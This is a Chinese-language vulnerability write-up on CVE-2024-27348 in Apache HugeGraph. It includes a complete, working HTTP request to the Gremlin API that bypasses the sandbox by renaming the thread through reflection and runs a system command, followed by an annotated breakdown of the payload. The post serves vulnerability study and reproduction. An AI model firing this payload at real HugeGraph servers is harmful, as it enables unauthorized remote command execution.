CVE-2024-27348

文章目录

漏洞名称

Apache HugeGraph 远程代码执行漏洞(CVE-2024-27348)

漏洞描述

Apache HugeGraph 是一款快速、高度可扩展的图数据库。它提供了完整的图数据库功能、出色的性能和企业级的可靠性。

HugeGraph 的 Gremlin API 中存在一个远程代码执行漏洞。Gremlin 是一种图遍历语言,可以在 Groovy、Python 和 Java 等多种编程语言中实现。攻击者能够利用 Gremlin API 在未经身份验证的情况下执行基于 Groovy 的 Gremlin 命令,从而执行任意命令。

理论上,Apache HugeGraph 会使用 SecurityManager 来限制用户提交的 Groovy 脚本。但 SecurityManager 仅检查以"gremlin-server-exec"或"task-worker"开头的线程名称。攻击者通过使用反射修改当前线程名称,可以绕过这一机制,从而实现任意代码执行。

漏洞复现

ui:

请求:

复制代码
POST /gremlin HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 777

{
    "gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"id\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");org.apache.commons.io.IOUtils.toString(startMethod.invoke(processBuilderInstance).getInputStream());",
    "bindings": {},
    "language": "gremlin-groovy",
    "aliases": {}
}

结果:

漏洞分析

利用 ​​Apache TinkerPop Gremlin Server​​ 的 Groovy 脚本执行能力,绕过沙箱限制执行任意系统命令

修改当前线程名称

java 复制代码
Thread thread = Thread.currentThread();
Class clz = Class.forName("java.lang.Thread");
java.lang.reflect.Field field = clz.getDeclaredField("name");
field.setAccessible(true);
field.set(thread, "SL7");
  • Class.forName():动态加载类对象。
  • getDeclaredField("name"):获取私有字段 name。
  • setAccessible(true):绕过访问权限检查。
  • field.set():修改线程名称字段值。

反射调用 ProcessBuilder 执行命令​​

java 复制代码
// 获取 ProcessBuilder 类及构造方法
Class processBuilderClass = Class.forName("java.lang.ProcessBuilder");
java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);

// 构造命令参数列表
java.util.List command = java.util.Arrays.asList("id");

// 实例化 ProcessBuilder 并执行命令
Object processBuilderInstance = constructor.newInstance(command);
java.lang.reflect.Method startMethod = processBuilderClass.getMethod("start");

// 获取命令执行结果
org.apache.commons.io.IOUtils.toString(startMethod.invoke(processBuilderInstance).getInputStream());
相关推荐
九河云14 小时前
数字化转型中的网络安全风险与零信任架构实践
运维·科技·安全·web安全·架构
木木子999914 小时前
业务架构、应用架构、数据架构、技术架构
java·开发语言·架构
七七七七0716 小时前
【计算机网络】深入理解ARP协议:工作原理、报文格式与安全防护
linux·服务器·网络·计算机网络·安全
qq_54702617916 小时前
Flowable 工作流引擎
java·服务器·前端
鼓掌MVP17 小时前
Java框架的发展历程体现了软件工程思想的持续进化
java·spring·架构
编程爱好者熊浪18 小时前
两次连接池泄露的BUG
java·数据库
lllsure18 小时前
【Spring Cloud】Spring Cloud Config
java·spring·spring cloud
wanhengidc18 小时前
云手机搬砖 尤弥尔传奇自动化操作
运维·服务器·arm开发·安全·智能手机·自动化
鬼火儿18 小时前
SpringBoot】Spring Boot 项目的打包配置
java·后端
NON-JUDGMENTAL19 小时前
Tomcat 新手避坑指南:环境配置 + 启动问题 + 乱码解决全流程
java·tomcat